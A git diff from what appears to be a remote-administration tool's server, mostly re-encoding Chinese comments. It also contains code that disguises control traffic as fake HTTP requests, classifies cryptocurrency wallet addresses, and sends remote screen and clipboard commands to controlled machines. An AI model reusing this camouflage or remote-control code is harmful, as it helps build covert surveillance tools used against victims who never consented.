HKEY GetCurrentUserRegistryKey() return HKEY_CURRENT_USER; } - // 鎵撳紑 HKEY_USERS\ + // 打开 HKEY_USERS\ if (RegOpenKeyExA(HKEY_USERS, szSid, 0, KEY_READ | KEY_WRITE, &hUserKey) != ERROR_SUCCESS) { - // 灏濊瘯鍙鏂瑰紡 + // 尝试只读方式 if (RegOpenKeyExA(HKEY_USERS, szSid, 0, KEY_READ, &hUserKey) != ERROR_SUCCESS) { hUserKey = NULL; } @@ -112,7 +112,7 @@ inline HKEY GetCurrentUserRegistryKey() return hUserKey ? hUserKey : HKEY_CURRENT_USER; } -// 妫€鏌ユ槸鍚﹂渶瑕佸叧闂敞鍐岃〃鏍归敭锛堥潪棰勫畾涔夐敭闇€瑕佸叧闂級 +// 检查是否需要关闭注册表根键(非预定义键需要关闭) inline void CloseUserRegistryKeyIfNeeded(HKEY hKey) { if (hKey != HKEY_CURRENT_USER && @@ -130,7 +130,7 @@ inline void CloseUserRegistryKeyIfNeeded(HKEY hKey) #endif -// 閰嶇疆璇诲彇绫? 鏂囦欢閰嶇疆. +// 配置读取类: 文件配置. class config { private: @@ -154,7 +154,7 @@ public: return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath); } - // 鑾峰彇閰嶇疆椤逛腑鐨勭涓€涓暣鏁? + // 获取配置项中的第一个整数 virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0) { std::string s = GetStr(MainKey, SubKey, ""); @@ -181,7 +181,7 @@ public: } }; -// 閰嶇疆璇诲彇绫? 娉ㄥ唽琛ㄩ厤缃? +// 配置读取类: 注册表配置. class iniFile : public config { private: @@ -204,13 +204,13 @@ public: } } - // 鍐欏叆鏁存暟锛屽疄闄呭啓涓哄瓧绗︿覆 + // 写入整数,实际写为字符串 bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override { return SetStr(MainKey, SubKey, std::to_string(Data)); } - // 鍐欏叆瀛楃涓? + // 写入字符串 bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override { std::string fullPath = m_SubKeyPath + "\\" + MainKey; @@ -225,7 +225,7 @@ public: return bRet; } - // 璇诲彇瀛楃涓? + // 读取字符串 std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override { std::string fullPath = m_SubKeyPath + "\\" + MainKey; @@ -245,7 +245,7 @@ public: return result; } - // 璇诲彇鏁存暟锛屽厛浠庡瓧绗︿覆涓浆鎹? + // 读取整数,先从字符串中转换 int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override { std::string val = GetStr(MainKey, SubKey); @@ -282,19 +282,19 @@ public: } } - // 鍐欏叆鏁存暟锛堝啓涓轰簩杩涘埗锛? + // 写入整数(写为二进制) bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override { return SetBinary(MainKey, SubKey, reinterpret_cast(&Data), sizeof(int)); } - // 鍐欏叆瀛楃涓诧紙浠ヤ簩杩涘埗鏂瑰紡锛? + // 写入字符串(以二进制方式) bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override { return SetBinary(MainKey, SubKey, reinterpret_cast(Data.data()), static_cast(Data.size())); } - // 璇诲彇瀛楃涓诧紙浠庝簩杩涘埗鏁版嵁杞崲锛? + // 读取字符串(从二进制数据转换) std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override { std::vector buffer; @@ -304,7 +304,7 @@ public: return std::string(buffer.begin(), buffer.end()); } - // 璇诲彇鏁存暟锛堜粠浜岃繘鍒惰В鏋愶級 + // 读取整数(从二进制解析) int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override { std::vector buffer; @@ -348,4 +348,4 @@ private: RegCloseKey(hKey); return bRet; } -}; +}; \ No newline at end of file diff --git a/common/locker.h b/common/locker.h index ccf3af2..c31e583 100644 --- a/common/locker.h +++ b/common/locker.h @@ -3,18 +3,18 @@ #pragma warning(disable: 4996) #pragma warning(disable: 4819) -// 浜掓枼閿併€佺潯鐪犲嚱鏁般€佽嚜鍔ㄩ攣銆佽嚜鍔ㄨ鏃躲€佽嚜鍔ㄦ棩蹇楃瓑 +// 互斥锁、睡眠函数、自动锁、自动计时、自动日志等 #include "logger.h" -// 鑷姩鏃ュ織 +// 自动日志 class CAutoLog { private: - CRITICAL_SECTION *m_cs; + CRITICAL_SECTION* m_cs; const char* name; public: - CAutoLog(const char* _name, CRITICAL_SECTION *cs=NULL) : name(_name), m_cs(cs) + CAutoLog(const char* _name, CRITICAL_SECTION* cs = NULL) : name(_name), m_cs(cs) { Mprintf(">>> Enter thread %s: [%d]\n", name ? name : "", GetCurrentThreadId()); if (m_cs)EnterCriticalSection(m_cs); @@ -64,8 +64,8 @@ public: } protected: - CRITICAL_SECTION* m_cs; // 澶栭儴閿? - CRITICAL_SECTION i_cs; // 鍐呴儴閿? + CRITICAL_SECTION* m_cs; // 外部锁 + CRITICAL_SECTION i_cs; // 内部锁 }; typedef CLock CLocker; @@ -73,7 +73,7 @@ typedef CLock CLocker; class CAutoLock { private: - CRITICAL_SECTION &m_cs; + CRITICAL_SECTION& m_cs; public: CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs) @@ -104,7 +104,7 @@ public: } }; -// 鏅鸿兘璁℃椂鍣紝璁$畻鍑芥暟鐨勮€楁椂 +// 智能计时器,计算函数的耗时 class auto_tick { private: @@ -124,7 +124,7 @@ private: } public: - auto_tick(const char* file_name, const char* func_name, int line_no, int th = 5, const std::string &tag="") : + auto_tick(const char* file_name, const char* func_name, int line_no, int th = 5, const std::string& tag = "") : file(file_name), func(func_name), line(line_no), span(th), tick(now()), tag(tag) { } ~auto_tick() { @@ -138,7 +138,7 @@ public: if (s > span) { char buf[1024]; tag.empty() ? sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s) : - sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms. Tag= %s. \n", file, line, func, s, tag.c_str()); + sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms. Tag= %s. \n", file, line, func, s, tag.c_str()); OutputDebugStringA(buf); } span = 0; @@ -147,7 +147,7 @@ public: }; #if defined (_DEBUG) || defined (WINDOWS) -// 鏅鸿兘璁$畻褰撳墠鍑芥暟鐨勮€楁椂锛岃秴鏃朵細鎵撳嵃 +// 智能计算当前函数的耗时,超时会打印 #define AUTO_TICK(thresh, tag) auto_tick TICK(__FILE__, __FUNCTION__, __LINE__, thresh, tag) #define STOP_TICK TICK.stop() #else @@ -160,14 +160,14 @@ public: #include #pragma comment(lib, "winmm.lib") -// 楂樼簿搴︾殑鐫$湢鍑芥暟 +// 高精度的睡眠函数 #define Sleep_m(ms) { Sleep(ms); } -// 浠ユ闀縩姣鍦ㄦ潯浠禖涓嬬瓑寰匱绉?n鏄闀匡紝蹇呴』鑳芥暣闄?000) +// 以步长n毫秒在条件C下等待T秒(n是步长,必须能整除1000) #define WAIT_n(C, T, n) { int s=(1000*(T))/(n); s=max(s,1); while((C)&&(s--))Sleep(n); } -// 鍦ㄦ潯浠禖鎴愮珛鏃剁瓑寰匱绉?姝ラ暱10ms) +// 在条件C成立时等待T秒(步长10ms) #define WAIT(C, T) { WAIT_n(C, T, 10); } -// 鍦ㄦ潯浠禖鎴愮珛鏃剁瓑寰匱绉?姝ラ暱1ms) -#define WAIT_1(C, T) { WAIT_n(C, T, 1); } +// 在条件C成立时等待T秒(步长1ms) +#define WAIT_1(C, T) { WAIT_n(C, T, 1); } \ No newline at end of file diff --git a/common/mask.h b/common/mask.h index dec7923..c1b85b7 100644 --- a/common/mask.h +++ b/common/mask.h @@ -2,7 +2,7 @@ #include "header.h" -// 鏁版嵁鍖呭崗璁皝瑁呮牸寮? +// 数据包协议封装格式 // Copy left: 962914132@qq.com & ChatGPT enum PkgMaskType { MaskTypeUnknown = -1, @@ -18,16 +18,16 @@ inline ULONG UnMaskHttp(char* src, ULONG srcSize) const char* header_end_mark = "\r\n\r\n"; const ULONG mark_len = 4; - // 鏌ユ壘 HTTP 澶撮儴缁撴潫鏍囪 + // 查找 HTTP 头部结束标记 for (ULONG i = 0; i + mark_len <= srcSize; ++i) { if (memcmp(src + i, header_end_mark, mark_len) == 0) { - return i + mark_len; // 杩斿洖 Body 璧峰浣嶇疆 + return i + mark_len; // 返回 Body 起始位置 } } - return 0; // 鏃犳晥鏁版嵁 + return 0; // 无效数据 } -// TryUnMask 灏濊瘯鍘绘帀浼鐨勫崗璁ご. +// TryUnMask 尝试去掉伪装的协议头. inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) { if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) { @@ -38,7 +38,7 @@ inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) return 0; } -// PkgMask 閽堝娑堟伅杩涗竴姝ュ姞瀵嗐€佹贩娣嗘垨浼. +// PkgMask 针对消息进一步加密、混淆或伪装. class PkgMask { protected: @@ -76,13 +76,13 @@ public: } /** - * @brief 鏋勯€犲嚱鏁? - * @param host HTTP Host 澶村瓧娈? + * @brief 构造函数 + * @param host HTTP Host 头字段 */ explicit HttpMask(const std::string& host, const std::map& headers = {}) : product_(GenerateRandomString()), host_(host) { - // 鍒濆鍖栭殢鏈烘暟鐢熸垚鍣? + // 初始化随机数生成器 srand(static_cast(time(nullptr))); char buf[32]; sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10); @@ -94,16 +94,16 @@ public: } /** - * @brief 灏嗗師濮嬫暟鎹吉瑁呬负 HTTP 璇锋眰 - * @param dst [杈撳嚭] 浼鍚庣殑鏁版嵁缂撳啿鍖猴紙闇€璋冪敤鑰呴噴鏀撅級 - * @param dstSize [杈撳嚭] 浼鍚庢暟鎹暱搴? - * @param src 鍘熷鏁版嵁鎸囬拡 - * @param srcSize 鍘熷鏁版嵁闀垮害 - * @param cmd 鍛戒护鍙? + * @brief 将原始数据伪装为 HTTP 请求 + * @param dst [输出] 伪装后的数据缓冲区(需调用者释放) + * @param dstSize [输出] 伪装后数据长度 + * @param src 原始数据指针 + * @param srcSize 原始数据长度 + * @param cmd 命令号 */ void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) { - // 鐢熸垚鍔ㄦ€?HTTP 澶撮儴 + // 生成动态 HTTP 头部 std::string http_header = "POST " + GeneratePath(cmd) + " HTTP/1.1\r\n" "Host: " + host_ + "\r\n" @@ -111,22 +111,22 @@ public: "Content-Type: application/octet-stream\r\n" "Content-Length: " + std::to_string(srcSize) + "\r\n" + headers_ + "Connection: keep-alive\r\n" - "\r\n"; // 绌鸿鍒嗛殧澶撮儴鍜?Body + "\r\n"; // 空行分隔头部和 Body - // 鍒嗛厤杈撳嚭缂撳啿鍖? + // 分配输出缓冲区 dstSize = static_cast(http_header.size()) + srcSize; dst = new char[dstSize]; - // 鎷疯礉鏁版嵁锛欻TTP 澶撮儴 + 鍘熷鏁版嵁 + // 拷贝数据:HTTP 头部 + 原始数据 memcpy(dst, http_header.data(), http_header.size()); memcpy(dst + http_header.size(), src, srcSize); } /** - * @brief 浠?HTTP 鏁版嵁涓彁鍙栧師濮嬫暟鎹捣濮嬩綅缃? - * @param src 鏀跺埌鐨?HTTP 鏁版嵁 - * @param srcSize 鏁版嵁闀垮害 - * @return ULONG 鍘熷鏁版嵁鍦?src 涓殑璧峰鍋忕Щ閲忥紙澶辫触杩斿洖 0锛? + * @brief 从 HTTP 数据中提取原始数据起始位置 + * @param src 收到的 HTTP 数据 + * @param srcSize 数据长度 + * @return ULONG 原始数据在 src 中的起始偏移量(失败返回 0) */ ULONG UnMask(char* src, ULONG srcSize) { @@ -146,7 +146,7 @@ private: osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((OSVERSIONINFO*)&osvi); - // 鑾峰彇绯荤粺鏋舵瀯 + // 获取系统架构 SYSTEM_INFO si; GetNativeSystemInfo(&si); std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" : @@ -164,13 +164,13 @@ private: #endif } - std::string host_; // 鐩爣涓绘満 - std::string product_; // 浜у搧鍚嶇О - std::string version_; // 浜у搧鐗堟湰 - std::string user_agent_;// 浠g悊鍚嶇О - std::string headers_; // 鑷畾涔夎姹傚ご + std::string host_; // 目标主机 + std::string product_; // 产品名称 + std::string version_; // 产品版本 + std::string user_agent_;// 代理名称 + std::string headers_; // 自定义请求头 - /** 鐢熸垚闅忔満 URL 璺緞 */ + /** 生成随机 URL 路径 */ std::string GenerateRandomString(int size = 8) const { static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789"; diff --git a/common/wallet.h b/common/wallet.h index 1fe643c..09c9f6e 100644 --- a/common/wallet.h +++ b/common/wallet.h @@ -9,8 +9,8 @@ enum WalletType { WALLET_BTC_P2PKH, WALLET_BTC_P2SH, WALLET_BTC_BECH32, - WALLET_ETH_ERC20, // ETH銆丒RC20锛堝惈 USDT-ERC20锛? - WALLET_USDT_OMNI, // USDT Omni锛孊TC 缃戠粶锛屾牸寮忓悓 BTC + WALLET_ETH_ERC20, // ETH、ERC20(含 USDT-ERC20) + WALLET_USDT_OMNI, // USDT Omni,BTC 网络,格式同 BTC WALLET_USDT_TRC20, // USDT TRC20 WALLET_TRON, WALLET_SOLANA, @@ -41,46 +41,46 @@ inline WalletType detectWalletType(const std::string& address_raw) address.erase(0, address.find_first_not_of(" \t\n\r")); address.erase(address.find_last_not_of(" \t\n\r") + 1); - // 1. ETH/ERC20锛?x 寮€澶达級 + // 1. ETH/ERC20(0x 开头) static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$"); if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20; - // 2. TRC20锛圱 寮€澶达級 + // 2. TRC20(T 开头) static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"); if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20; - // 3. BTC Bech32锛坆c1 寮€澶达級 + // 3. BTC Bech32(bc1 开头) static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$"); if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32; - // 4. BTC P2PKH锛? 寮€澶达級 + // 4. BTC P2PKH(1 开头) static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$"); if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH; - // 5. BTC P2SH锛? 寮€澶达級 + // 5. BTC P2SH(3 开头) static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$"); if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH; - // 6. XRP锛坮 寮€澶达紝Base58锛? + // 6. XRP(r 开头,Base58) static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$"); if (std::regex_match(address, xrp_regex)) return WALLET_XRP; - // 7. Dogecoin锛圖 寮€澶达紝Base58锛? + // 7. Dogecoin(D 开头,Base58) static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$"); if (std::regex_match(address, doge_regex)) return WALLET_DOGE; - // 8. Cardano Shelley锛坅ddr1 寮€澶达級 + // 8. Cardano Shelley(addr1 开头) static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$"); if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY; - // 9. Cardano Byron锛圖dzFF 寮€澶达級 + // 9. Cardano Byron(DdzFF 开头) if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON; - // 10. Polkadot锛堥暱搴?47鈥?8锛孊ase58锛? + // 10. Polkadot(长度 47–48,Base58) static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$"); if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT; - // 11. Solana锛?2鈥?4锛屾棤鍓嶇紑锛孊ase58锛夆啋 瀹规槗璇垽锛屽繀椤绘斁鏈€鍚? + // 11. Solana(32–44,无前缀,Base58)→ 容易误判,必须放最后 static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$"); if (std::regex_match(address, solana_regex)) return WALLET_SOLANA; diff --git a/common/zstd_wrapper.c b/common/zstd_wrapper.c index 7586e77..abc8ea0 100644 --- a/common/zstd_wrapper.c +++ b/common/zstd_wrapper.c @@ -8,33 +8,33 @@ size_t zstd_compress_auto( size_t threshold ) { - // 妫€鏌ヨ緭鍏ユ湁鏁堟€? + // 检查输入有效性 if (!cctx || !dst || !src) { return ZSTD_error_GENERIC; } - // --- 灏忔暟鎹垨搴撲笉鏀寔澶氱嚎绋?鈫?閫€鍥炲埌鍗曠嚎绋?ZSTD_compress2 --- + // --- 小数据或库不支持多线程 → 退回到单线程 ZSTD_compress2 --- if (srcSize < threshold) { return ZSTD_compress2(cctx, dst, dstCapacity, src, srcSize); } - // --- 澶氱嚎绋嬫祦寮忓帇缂?--- - ZSTD_inBuffer input = {src, srcSize, 0}; - ZSTD_outBuffer output = {dst, dstCapacity, 0}; + // --- 多线程流式压缩 --- + ZSTD_inBuffer input = { src, srcSize, 0 }; + ZSTD_outBuffer output = { dst, dstCapacity, 0 }; - // 寰幆鍘嬬缉杈撳叆鏁版嵁 + // 循环压缩输入数据 size_t ret = 0; while (input.pos < input.size) { ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_continue); if (ZSTD_isError(ret)) break; - // 杈撳嚭缂撳啿鍖哄凡婊★紙鐞嗚涓婁笉搴斿彂鐢燂紝鍥?dstCapacity >= ZSTD_compressBound锛? + // 输出缓冲区已满(理论上不应发生,因 dstCapacity >= ZSTD_compressBound) if (output.pos == output.size) { return ZSTD_error_dstSize_tooSmall; } } - // 缁撴潫鍘嬬缉锛堢‘淇濇墍鏈夌嚎绋嬪畬鎴愶級 + // 结束压缩(确保所有线程完成) if (!ZSTD_isError(ret)) { ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_end); } diff --git a/common/zstd_wrapper.h b/common/zstd_wrapper.h index 3a261f1..20f703c 100644 --- a/common/zstd_wrapper.h +++ b/common/zstd_wrapper.h @@ -8,14 +8,14 @@ extern "C" { #endif /** - * 鏅鸿兘鍘嬬缉鍑芥暟锛堣嚜鍔ㄩ€夋嫨鍗曠嚎绋?澶氱嚎绋嬶級 - * @param cctx 鍘嬬缉涓婁笅鏂囷紙闇€鎻愬墠鍒涘缓锛? - * @param dst 杈撳嚭缂撳啿鍖? - * @param dstCapacity 杈撳嚭缂撳啿鍖哄ぇ灏? - * @param src 杈撳叆鏁版嵁 - * @param srcSize 杈撳叆鏁版嵁澶у皬 - * @param threshold 瑙﹀彂澶氱嚎绋嬬殑鏈€灏忔暟鎹ぇ灏忥紙寤鸿 >= 1MB锛? - * @return 鍘嬬缉鍚庣殑鏁版嵁澶у皬锛堥敊璇爜閫氳繃 ZSTD_isError() 妫€鏌ワ級 + * 智能压缩函数(自动选择单线程/多线程) + * @param cctx 压缩上下文(需提前创建) + * @param dst 输出缓冲区 + * @param dstCapacity 输出缓冲区大小 + * @param src 输入数据 + * @param srcSize 输入数据大小 + * @param threshold 触发多线程的最小数据大小(建议 >= 1MB) + * @return 压缩后的数据大小(错误码通过 ZSTD_isError() 检查) */ size_t zstd_compress_auto( ZSTD_CCtx* cctx, diff --git a/lib/FileUpload_Lib.lib b/lib/FileUpload_Lib.lib index ab01293..83360fe 100644 Binary files a/lib/FileUpload_Lib.lib and b/lib/FileUpload_Lib.lib differ diff --git a/lib/FileUpload_Libd.lib b/lib/FileUpload_Libd.lib index 236b275..75bd3fe 100644 Binary files a/lib/FileUpload_Libd.lib and b/lib/FileUpload_Libd.lib differ diff --git a/lib/FileUpload_Libx64.lib b/lib/FileUpload_Libx64.lib index 3e43453..e257ea7 100644 Binary files a/lib/FileUpload_Libx64.lib and b/lib/FileUpload_Libx64.lib differ diff --git a/lib/FileUpload_Libx64d.lib b/lib/FileUpload_Libx64d.lib index e6acfc5..f967fc7 100644 Binary files a/lib/FileUpload_Libx64d.lib and b/lib/FileUpload_Libx64d.lib differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 4ce0782..9fc1fcd 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1731,7 +1731,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) // 创建一个新的子菜单 CMenu newMenu; if (!newMenu.CreatePopupMenu()) { - MessageBox(_T("创建分享主机的子菜单失败!"), "提示"); + MessageBox(_T("创建执行代码的子菜单失败!"), "提示"); return; } @@ -1972,12 +1972,15 @@ bool CMy2015RemoteDlg::CheckValid(int trail) std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime); if (curDate < v[0] || curDate > v[1]) { THIS_CFG.SetStr(settings, pwdKey, ""); + THIS_CFG.SetStr(settings, "PwdHmac", ""); THIS_APP->MessageBox("口令过期,请重新申请口令!", "提示", MB_ICONINFORMATION); return false; } if (dlg.m_sPassword != pwd) THIS_CFG.SetStr(settings, pwdKey, dlg.m_sPassword.GetString()); - + if (GetPwdHash() == masterHash && GetHMAC().length() != 16) { + SetHMAC("1fafa2a373ae5bb0"); + } int maxConn = v.size() == 7 ? atoi(v[2].c_str()) : 2; if (maxConn != m_nMaxConnection) { m_nMaxConnection = maxConn; diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index 830de75..d35bc8c 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -37,12 +37,21 @@ std::string GetMasterId() std::string GetHMAC(int offset) { const Validation * v= (Validation*)(g_MasterID + offset); - std::string hmac = v->Checksum; - if (hmac.empty()) + std::string hmac(v->Checksum, 16); + if (hmac.c_str()[0] == 0) hmac = THIS_CFG.GetStr("settings", "HMAC"); return hmac; } +void SetHMAC(const std::string str, int offset) { + Validation* v = (Validation*)(g_MasterID + offset); + std::string hmac(v->Checksum, 16); + if (hmac.c_str()[0] == 0) { + memcpy(v->Checksum, str.c_str(), min(16, str.length())); + THIS_CFG.SetStr("settings", "HMAC", str); + } +} + extern "C" void shrink64to32(const char* input64, char* output32); // output32 必须至少 33 字节 extern "C" void shrink32to4(const char* input32, char* output4); // output4 必须至少 5 字节 diff --git a/server/2015Remote/CPasswordDlg.h b/server/2015Remote/CPasswordDlg.h index fb41f8e..9825e27 100644 --- a/server/2015Remote/CPasswordDlg.h +++ b/server/2015Remote/CPasswordDlg.h @@ -16,6 +16,8 @@ std::string GetMasterId(); std::string GetHMAC(int offset=100); +void SetHMAC(const std::string str, int offset=100); + bool IsPwdHashValid(const char* pwdHash = nullptr); bool WritePwdHash(char* target, const std::string& pwdHash, const Validation &verify); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index d296b6e..8a62f83 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -35,6 +35,8 @@ enum { IDM_FPS_25, IDM_FPS_30, IDM_FPS_UNLIMITED, + IDM_ORIGINAL_SIZE, + IDM_SCREEN_1080P, }; IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) @@ -247,19 +249,26 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)"); SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, _T("录像(MJPEG)")); SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI_H264, _T("录像(H264)")); - SysMenu->AppendMenu(MF_SEPARATOR); SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)"); SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)"); + SysMenu->AppendMenu(MF_SEPARATOR); SysMenu->AppendMenu(MF_STRING, IDM_SWITCHSCREEN, "切换显示器(&1)"); SysMenu->AppendMenu(MF_STRING, IDM_MULTITHREAD_COMPRESS, "多线程压缩(&2)"); - SysMenu->AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10"); - SysMenu->AppendMenu(MF_STRING, IDM_FPS_15, "最大帧率FPS:15"); - SysMenu->AppendMenu(MF_STRING, IDM_FPS_20, "最大帧率FPS:20"); - SysMenu->AppendMenu(MF_STRING, IDM_FPS_25, "最大帧率FPS:25"); - SysMenu->AppendMenu(MF_STRING, IDM_FPS_30, "最大帧率FPS:30"); - SysMenu->AppendMenu(MF_STRING, IDM_FPS_UNLIMITED, "最大帧率无限制"); + SysMenu->AppendMenu(MF_STRING, IDM_ORIGINAL_SIZE, "原始分辨率(&3)"); + SysMenu->AppendMenu(MF_STRING, IDM_SCREEN_1080P, "限制为1080P(&4)"); SysMenu->AppendMenu(MF_SEPARATOR); + CMenu fpsMenu; + if (fpsMenu.CreatePopupMenu()) { + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_15, "最大帧率FPS:15"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_20, "最大帧率FPS:20"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_25, "最大帧率FPS:25"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_30, "最大帧率FPS:30"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_UNLIMITED, "最大帧率无限制"); + SysMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)fpsMenu.Detach(), _T("帧率设置")); + } + BOOL all = THIS_CFG.GetInt("settings", "MultiScreen"); SysMenu->EnableMenuItem(IDM_SWITCHSCREEN, all ? MF_ENABLED : MF_GRAYED); } @@ -669,6 +678,20 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) break; } + case IDM_ORIGINAL_SIZE: { + const int strategy = 1; + BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + break; + } + + case IDM_SCREEN_1080P: { + const int strategy = 0; + BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + break; + } + case IDM_FPS_10: case IDM_FPS_15: case IDM_FPS_20: case IDM_FPS_25: case IDM_FPS_30: case IDM_FPS_UNLIMITED: { int fps = 10 + (nID - IDM_FPS_10) * 5; diff --git a/server/2015Remote/ServerServiceWrapper.cpp b/server/2015Remote/ServerServiceWrapper.cpp index 7a2fcce..37d2d3d 100644 --- a/server/2015Remote/ServerServiceWrapper.cpp +++ b/server/2015Remote/ServerServiceWrapper.cpp @@ -5,17 +5,17 @@ #include -// 闈欐€佸彉閲? +// 静态变量 static SERVICE_STATUS g_ServiceStatus; static SERVICE_STATUS_HANDLE g_StatusHandle = NULL; static HANDLE g_StopEvent = INVALID_HANDLE_VALUE; -// 鍓嶅悜澹版槑 +// 前向声明 static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, - char* exePath, size_t exePathSize) + char* exePath, size_t exePathSize) { *registered = FALSE; *running = FALSE; @@ -23,38 +23,38 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, exePath[0] = '\0'; } - // 鎵撳紑 SCM + // 打开 SCM SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { return FALSE; } - // 鎵撳紑鏈嶅姟 + // 打开服务 SC_HANDLE hService = OpenServiceA( - hSCM, - SERVER_SERVICE_NAME, - SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + hSCM, + SERVER_SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); if (!hService) { CloseServiceHandle(hSCM); - return FALSE; // 鏈敞鍐? + return FALSE; // 未注册 } *registered = TRUE; - // 鑾峰彇鏈嶅姟鐘舵€? + // 获取服务状态 SERVICE_STATUS_PROCESS ssp; DWORD bytesNeeded = 0; memset(&ssp, 0, sizeof(ssp)); if (QueryServiceStatusEx( - hService, - SC_STATUS_PROCESS_INFO, - (LPBYTE)&ssp, - sizeof(SERVICE_STATUS_PROCESS), - &bytesNeeded)) { + hService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &bytesNeeded)) { *running = (ssp.dwCurrentState == SERVICE_RUNNING); } - // 鑾峰彇 EXE 璺緞 + // 获取 EXE 路径 if (exePath && exePathSize > 0) { DWORD bufSize = 0; QueryServiceConfigA(hService, NULL, 0, &bufSize); @@ -77,13 +77,13 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, int ServerService_StartSimple(void) { - // 鎵撳紑SCM + // 打开SCM SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { return (int)GetLastError(); } - // 鎵撳紑鏈嶅姟骞跺惎鍔? + // 打开服务并启动 SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_START); if (!hService) { int err = (int)GetLastError(); @@ -91,7 +91,7 @@ int ServerService_StartSimple(void) return err; } - // 鍚姩鏈嶅姟 + // 启动服务 BOOL ok = StartServiceA(hService, 0, NULL); int err = ok ? ERROR_SUCCESS : (int)GetLastError(); @@ -124,13 +124,13 @@ int ServerService_Run(void) int ServerService_Stop(void) { - // 鎵撳紑SCM + // 